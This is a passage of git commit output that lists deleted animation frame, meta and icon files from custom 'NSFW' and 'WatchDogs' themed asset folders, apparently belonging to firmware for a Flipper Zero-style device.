assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/meta delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/BLE/BLE_Pairing_128x64.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Dolphin/DolphinCommon_56x48.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Infrared/DolphinReadingSuccess_59x63.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/NFC/NFC_dolphin_emulation_47x61.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_DB.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_bad_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/U2F/Error_62x31.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinMafia_115x62.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinNice_96x59.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinWait_61x59.bmx delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm delete mode 100644 